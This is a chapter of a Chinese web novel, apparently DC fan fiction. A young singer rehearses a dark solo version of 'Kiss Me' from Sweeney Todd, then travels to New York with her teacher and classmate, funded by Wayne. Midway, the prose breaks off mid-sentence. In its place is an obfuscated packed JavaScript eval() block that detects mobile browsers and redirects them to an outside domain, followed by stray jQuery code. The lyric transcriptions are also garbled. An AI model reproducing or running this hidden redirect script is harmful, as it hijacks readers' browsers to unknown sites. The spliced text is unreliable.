卡里亚选中的曲子，是《理发师陶德》女二号乔安娜和另一男角色的二重唱，《亲吻我》（kissme）。


    乔安娜是男主角陶德的女儿，本剧的大反派特平法官弄残了她的母亲，又流放了她的父亲，还在襁褓中的乔安娜落入了法官的魔爪，被当做法官的金丝雀和未来妻子养大，关在房子里不许见人，过着压抑的生活。


    事情随着陶德的秘密回国出现转机。


    陶德在回国的船上认识了一位青年水手，而这位青年水手在路过法官家时爱上了窗边美丽纯洁的乔安娜。他打算带着乔安娜私奔，这一计划得到了陶德的鼓励，在法官外出时顺利潜入宅邸。


    青年水手劝说乔安娜和他一起离开，两人一同唱起《亲吻我》。


    而在重新编曲后，这首歌变成了乔安娜带点癫狂意味的独唱。


    练习室里，卡里亚面对利贝嘉和杰克，开始展示自己这几天练习的结果。


    她将右手按在心口上，深吸一口气，闭上眼片刻，与剧情里的乔安娜对齐情绪。


    就在刚才，她的养父露出了真面目，说要在下周迎娶她为妻子，而她这辈子都要活在那个老迈变态的控制下！


    眼睛再睁开时，卡里亚的神情已经完全变了。


    她眉眼间带着不安，声音里浸染了明显的颤意。


    “他打算星期一娶我，


    HemeanstomarrymeMonday


    我该怎么办？我还不如去死。


    WhatshallIdo?I''dratherdie


    我可以在星期天服毒自杀，


    I''llswallowpoisononSunday


    就这么办好了，我可以弄点烧碱！


    That''swhatI''lldo,I''llgetsomelye！”


    卡里亚选用的是混声（mix）唱法，这种唱法在迪O尼公主的曲子里用的最多，能让听众第一时间体会到少女嗓音的甜美、纯洁，充满感染力。


    这种唱法用在乔安娜身上也是合适的。从小被囚禁在房子里，被监护人洗脑控制，这种设定很容易让人联想到长发公主。


    可惜的是，这不是童话故事，她的监护人不是留有底线的女巫，而是会一边起邪念一边鞭打自己的衣冠禽兽。


    桑德海姆黑暗、压抑的歌词，经由本该是童话公主的声线唱出，让整首曲子充满了荒诞悲剧的味道。


    “我好像听见了动静，


    IthinkIheardanoise，


    我好像听到“咔嗒”一声！


    IthinkIheardaclick!


    是有人开门！


    It''sthegate!


    不对，那里没有门，


    Wedon''thaveagate，


    可刚才明明有——等等！


    Stilltherewasa—Wait!


    又有一声咔嗒！


    There''sanotherclick!”


    卡里亚身体紧绷，抱紧双臂，惊惶地四下张望，就好像这个温馨又安全的练习室里，真的会随时闯进来一个阴鸷老人似的。


    杰克也试着在心里跟唱，但唱到第二句就发现自己完全乱了阵脚。


    这段歌词快速短促，没有一般曲子该有的节奏感，而桑德海姆的歌词又以拗口闻名，演员唱的时候很容易顾此失彼。


    注意力集中在发音上，就会忘记调整呼吸，后面节奏加快时很可能唱断气。


    但如果光顾着回忆几个毫无规律可言的换气点，又容易在口齿上犯错，一不小心就会咬到舌头。


    而卡里亚的发音，毫不夸张的说，是能让桑德海姆老爷子在天堂瞑目的水准。


    利贝嘉本来是不赞同学生临时换曲的，但卡里亚张口来上这么一段，一下子就把她的顾虑打得烟消云散。


    那简直是被仙女赐福过的嗓子，每发出一个音节，嘴里就会落下黄金和宝石。哪怕是对英语一窍不通的人，也能感受到其中的韵律之美！


    接下来的抒情句，更是让在场的两位观众瞪大了眼睛。


    在听到青年水手要带她走的邀约后，乔安娜失焦的眼神重新焕发光彩，抓住救命稻草般地向前伸出手。


    “今晚？


    Tonight?


    你是说今晚？


    Youmeantonight?


    哦，先生，我对您一见钟情了，


    Sir,IdidLoveyouevenasISawyou，


    虽然我还未曾知晓您的名字，但那不要紧！


    evenasitdidnotmatterthatIDidnotknowyourname！”


    卡里亚在这段加入了传统（legit）唱法——也就是外行人笼统称之为“美声”的唱法，让乔安娜梦幻的高音连贯且持久。


    一声又一声的A5长高音，徘徊在“悦耳”和“窒息”之间，使听众联想到剧情开始时，被法官掐死的那只可怜的金丝雀。


    这就是桑德海姆的厉害之处，没有一句歌词提到金丝雀，光靠音符就能唤醒听众的记忆，让所有人不约而同地联想到同一个意象。


    而卡里亚不仅继承了大师的巧思，还将其带上更高一层：她只是唱了一首曲子，却让人能清晰回想起整部剧的剧情，在脑中自动补完了前情提要。


    甚至经过这样一番改编后，《亲吻我》这首歌又延伸出了新的解读部分。


    乔安娜对青年水手真的是爱吗？


    在二人对唱时，或许还能从男女演员的互动中看到一点激情，但变成独唱之后呢？


    ——乔安娜爱的对象，是一个她构建出来的能带她逃离苦海的幻影。


    那个幻影可以是任何人，不必有清晰的面容，甚至无需真正出现。


    乔安娜爱的对象存在于她的脑海内，她把爱意倾注给一个只存在于自己想象中的救赎者，另一人的伴唱其实可有可无。


    “哦，先生，亲吻我吧！


    Kissme,ohsir!


    我早知道有一天会和你在一起,


    IknewI''dbewithyouoneday,


    虽然我还不知道你是谁。


    Evennotknowingwhoyouwere。


    我曾害怕你永远不会来，


    Ifearedyou''dnevee，


    怕你被主召走，


    Thatyou''dbeencalledaway，


    怕你被杀了，得了瘟疫，被关进债务人监狱，


    Thatyou''dbeenkilled，Hadtheplague，Wereindebtor''sjail，


    被马踩死，在海里溺亡，被警察抓走——


    Trampledbyahorse，Goseaagain，Arrestedbythe—


    哦，先生，亲吻我吧！


    Kissme,ohsir!”


    漂亮的年轻女孩儿说出“亲吻我吧”，本来应该是香艳又浪漫的唱段，但卡里亚此时周身溢出近乎黑暗的怪诞气息。


    她的悲剧过于惨烈，让人不敢靠近，生怕卷入这不幸的漩涡。


    《亲吻我》被卡里亚演绎得太过完美，哪怕是看过几次现场版《理发师陶德》的杰克和利贝嘉，此刻都有些手脚发凉，好像此刻他们真的身处伦敦，街上住着一个会杀人的理发师，他们的尸体会被绞成肉馅做成饼，而统治他们的是一个衣冠禽兽！


    等到卡里亚唱完，余音仍不绝于耳，难以言喻的恐惧和不适久久未能散去。


    利贝嘉有些摇摇晃晃地从椅子上站起来，走过去推开练习室的窗户，试图让六月的暑气吹散阴冷。


    杰克猛搓几下胳膊，好叫鸡皮疙瘩消下去点：“我滴个神呐，这还比什么啊，直接送你去决赛得了！”


    在短短几天内就能练成这样，杰克是彻底服气了，再没有之前发现两人水平差距时的失落感。


    人家这实力，和自己就不是同一个物种，简直就是音乐剧届的氪星人！


    凡人和氪星人比个什么劲儿啊，好好膜拜就行了。


    利贝嘉给卡里亚倒了杯热茶，让她润润嗓：“现在的效果已经很好了，不过还可以稍微打磨打磨，再修改几个小地方，让歌词听起来更顺畅点。你和杰克的歌都是多重唱改独唱的，这几天可以互帮互助，不确定改哪里的时候就找个人对唱，也许能有新灵感呢。”


    杰克举起手：“交给我吧，保证让她拿出一百分的作品去比赛！”


    利贝嘉敲敲他的脑袋：“你也别太早放弃，吉米奖又不是只有冠军，还有很多奖学金呢。来都来了，好歹捞个奖杯回家吧。”


    *****


    等卡里亚的作品打磨至臻，吉米奖集训的日子也近在眼前了。


    眼下的难关只剩期末考试。出乎意料的，先前在斯蒂芬妮家公寓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114861|177743||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天台上见过的迪克伸出援手。


    布鲁德海文和哥谭的罪犯经常在两地流窜，两家警局为此搭建了共享的信息库，迪克因而有权限调取卡里亚领养人的相关记录。


    “放心吧，我在警局的电脑里看过了，他们没想着找你。”迪克，aka夜翼，仔仔细细搜了一遍蝙蝠家的数据库，对着电话另一头说道，“你就安心去考试，我会帮你盯着学校附近的摄像头的。”


    他抬起眼睛，看到红头罩对他比了个“ok”的手势，“而且真要有什么意外的话，那天杰森也在附近办事，他会带你跑路的。记得给手机充好电就成。”


    卡里亚：“太感谢了，我都不知道该怎么回报这份恩情了。”


    迪克：“真要感谢的话，等你拿到冠军奖金了，就在纽约找家米其林餐厅请我们吃饭吧。”


    卡里亚：“好呀，奖金大概一万美元，你们想吃哪家？”


    迪克：“.......喂我开玩笑的，我还没穷到要蹭学生的饭！你别这么爽快就答应啊！”


    万幸的是，等到了考试那天，种种应急计划都没派上用场，卡里亚一路畅通无阻地出了学校，坐上利贝嘉的车，和已经先到一步的杰克在火车站会和。


    韦恩阔佬大手一挥，给师生三人组包了一节头等车厢，还带酒水餐饮服务，甫一上车就有三个乘务员进来嘘寒问暖，哪怕是出身优渥的利贝嘉和杰克也没享受过这种首富待遇。


    卡里亚上辈子巡演时搭乘的还是老式蒸汽火车，这辈子因为囊中羞涩，也只坐过城里的电车，光是座椅能调节角度就让她惊奇不已。


    穷人家的孩子第一次享受高级服务，她未能免俗，要了酒水单上最贵的一款无酒精鸡尾酒，誓不辜负韦恩阔佬的好意，至少得吃喝回点本！


    杰克则是沉迷于座位前面自带的游戏机：“我还是第一次希望火车能晚点，这种待遇只能享受三小时也太可惜了！”


    利贝嘉打趣道：“好啊，那你就在火车上待七天吧，我和卡里亚先去万豪侯爵酒店待着了。”


    杰克差点呛住：“啥？那个死贵死贵，至少一千美元一晚的万豪侯爵酒店？？”


    利贝嘉笑道：“对的，我也是才接到通知，这次尼德兰组织给你们安排的住宿地点是万豪侯爵酒店，男女分开，双人间，包了整整一层呢。”


    卡里亚举手：“我知道，是不是侯爵剧院在的那个万豪侯爵酒店！现在在演《怪奇物语》话剧的那个！”


    百老汇的侯爵剧院归尼德兰组织所有，是位置较为特殊的一家剧院，设置在万豪酒店内部，距离时代广场数步之遥，可谓是黄金地带中的黄金地带。


    观众席有1612个座位，放在百老汇也属于大剧院了，并且先后上演过《贝隆夫人》《甲壳虫汁》《化身博士》等剧，不管是剧院设施还是剧目质量，都有着不错的口碑。


    利贝嘉点点头：“是的，明天白天你们可以去自由观光，晚上安排了你们去侯爵剧院看《怪奇物语》，一切费用都由尼德兰组织承担。”


    杰克瞳孔地震：“这也实在太有钱了吧！不是，我们就是一群高中生，至于有这种布鲁斯·韦恩的待遇啊！”


    卡里亚掰手指心算：“我记得《怪奇物语》的票价要两三百一张了吧，万豪酒店的房费一晚一人五百，我们住一周多，还包一日三餐，一个人快要五千了吧？”


    杰克接过话茬：“一共有92人，合计......我靠，四十几万？！这是在烧钱玩儿啊！”


    利贝嘉摆摆手：“不至于这么多，百老汇作为纽约旅游的金字招牌，本身就是带动曼哈顿酒店餐饮消费的最大助力。你们想嘛，一场戏晚上十点十一点结束，市内交通大多停摆，观众可不就得在附近找酒店住了？”


    她抿了口红茶，继续解释道，“这些酒店经常推出住宿+剧票的套餐组合，很多老板自己也会投资百老汇玩玩儿，剧院和酒店有很多交情来往，这种活动都是给友情价的，你们的食宿还不至于花这么多钱。”


    诚惶诚恐的两个学生松一口气。


    利贝嘉又补充道：“但算上活动场地和聘请工作人员的花费，总共应该也要这个数字的。”


    杰克和卡里亚又抽上气了。


    “这么壕的吗？”


    利贝嘉淡淡一笑：“你们以为钱哪儿来的？想想今年新泽西州通过审查，还不明白吗？”


    杰克和卡里亚：“......”


    杰克和卡里亚齐齐起身，转向已经远去的哥谭市的方向，大吼一声。


    “谢谢你，韦恩阔佬！”